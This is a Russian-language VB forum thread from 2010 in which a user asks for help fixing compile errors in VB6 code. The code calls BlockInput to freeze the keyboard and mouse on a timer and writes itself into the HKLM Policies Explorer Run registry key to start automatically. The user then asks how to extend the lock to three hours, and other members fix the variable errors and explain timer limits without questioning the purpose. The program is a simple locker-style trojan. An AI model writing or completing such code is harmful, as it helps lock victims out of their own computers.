VBNet - Форум - Ошибка В коде

Вопрос: Ошибка В коде Добавлено: 13.01.10 11:27

Автор вопроса: Ins

Помогите пожалуйста,когда создаю *.exe ,пишет VIRABLE NOT DEFINED и выделяет q =

Option Explicit
Private Declare Sub Sleep Lib "kernel32" _
(ByVal dwMilliseconds As Long)
Private Declare Function BlockInput Lib _
"user32" (ByVal fBlock As Long) As Long
Dim bytCount As Byte

Private Sub Image_Click()
BlockInput True
bytCount = 10
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
If bytCount = 0 Then
BlockInput False
End
Else
bytCount = bytCount - 1
End If
End Sub

Private Sub Form_Load()
q = App.Path + "\23424.exe"
Set Reg = CreateObject("WScript.Shell")
Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\prog", q
End Sub

В чём у меня ошибка?

Ответить

Ответы Всего ответов: 10

Номер ответа: 1 Автор ответа: VβÐUηìt Вопросов: 246 Ответов: 3333	Web-сайт: смекаешь.рф Профиль \| \| #1	Добавлено: 13.01.10 12:01
	Строка "Option Explicit" в начале кода означает, что все переменные должны быть объявлены. Выхода два, либо объявить переменную явно, либо убрать Option Explicit. Объявление переменной: Private Sub Form_Load() Dim q As String q = App.Path + "\23424.exe" Set Reg = CreateObject("WScript.Shell") Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\prog", q End Sub Ответить

Номер ответа: 2 Автор ответа: Ins Вопросов: 6 Ответов: 24	Профиль \| \| #2	Добавлено: 13.01.10 12:03
	Теперь на Reg = ошибку показывает... ?? Ответить

Номер ответа: 3 Автор ответа: VβÐUηìt Вопросов: 246 Ответов: 3333	Web-сайт: смекаешь.рф Профиль \| \| #3	Добавлено: 13.01.10 12:04
	Dim Reg As Object Ответить

Номер ответа: 4 Автор ответа: Ins Вопросов: 6 Ответов: 24	Профиль \| \| #4	Добавлено: 13.01.10 12:04
	Убрал Option Explicit,вроде норм,ша попробуйю Ответить

Номер ответа: 5 Автор ответа: Ins Вопросов: 6 Ответов: 24	Профиль \| \| #5	Добавлено: 13.01.10 12:12
	Спасибо большое) Ответить

Номер ответа: 6 Автор ответа: Winand Вопросов: 87 Ответов: 2795	Web-сайт: winandfx.narod.ru Профиль \| \| #6	Добавлено: 13.01.10 12:29
	Ну как всегда, победил простой путь вместо правильного Ответить

Номер ответа: 7 Автор ответа: Ins Вопросов: 6 Ответов: 24	Профиль \| \| #7	Добавлено: 13.01.10 20:32
	bytCount = 10 Timer1.Interval = 1000 как сделать чтобы это было равно 3 часа? Ответить

Номер ответа: 8 Автор ответа: UnDeAdZak Вопросов: 80 Ответов: 476	Профиль \| \| #8	Добавлено: 13.01.10 20:54
	ставь интервал по максимуму - будет тебе 1 час, после создаёш простенькую переменную прибавляющую значение при каждом тике таймера, когда она будет равна трём то всё. Ответить

Номер ответа: 9 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #9	Добавлено: 14.01.10 00:53
	ставь интервал по максимуму - будет тебе 1 час о_О Интервал таймера по максимуму это 65535 т.е. 65.535 секунд Ответить

Номер ответа: 10 Автор ответа: VβÐUηìt Вопросов: 246 Ответов: 3333	Web-сайт: смекаешь.рф Профиль \| \| #10	Добавлено: 14.01.10 08:46
	UnDeAdZak пишет: ставь интервал по максимуму - будет тебе 1 час 1 минута. Ответить

Страница: 1 |